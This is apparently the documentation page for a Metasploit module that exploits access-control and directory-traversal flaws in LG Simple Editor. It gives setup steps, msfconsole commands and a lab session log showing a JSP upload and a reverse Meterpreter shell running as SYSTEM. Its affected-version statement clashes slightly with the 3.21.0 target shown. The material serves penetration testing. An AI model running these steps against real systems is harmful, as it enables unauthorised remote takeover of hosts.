## Vulnerable Application

LG Simple Editor is recommended for small businesses and sports bars which require simple content
display or play-on-air via their signage. It enables easy new content creation by simplifying processes,
and immediate playback on signage.

This Metasploit module exploits broken access control and directory traversal
vulnerabilities in LG Simple Editor software for gaining code execution.
The vulnerabilities exists in versions of LG Simple Editor prior to v3.21.
By exploiting this flaw, an attacker can upload and execute a malicious JSP
payload with the SYSTEM user permissions.

## Testing
For installing the vulnerable version follow the steps below,
1. Download the installation file of the vulnerable software
[here](https://www.lg.com/us/business/display-solutions/supersign-w-lite/downloads/LGSimpleEditor_setup_v3_21_0.exe.zip)
2. Follow the installation steps.

After these steps, the LG Simple Editor service should be accessible on port 8080.

## Verification Steps

1. msfconsole
2. Do: `use exploit/windows/http/lg_simple_editor_rce`
3. Do: `set RHOST [IP]`
4. Do: `check`

## Options

## Scenarios

```
msf6 > use exploit/windows/http/lg_simple_editor_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/lg_simple_editor_rce) > set rhosts 192.168.56.109
rhosts => 192.168.56.109
msf6 exploit(windows/http/lg_simple_editor_rce) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf6 exploit(windows/http/lg_simple_editor_rce) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version: 3.21.0
[*] Uploading JSP payload...
[+] Payload uploaded successfully
[+] /nvFIE_original.bmp -> /nvFIE.jsp copy successful.
[*] Triggering payload...
[*] Sending stage (175686 bytes) to 192.168.56.109
[+] Deleted ./webapps/simpleeditor/nvFIE.jsp
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.109:50097) at 2023-09-01 03:44:31 +0200

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo 
Computer        : DESKTOP-LB6UGKE
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 

```
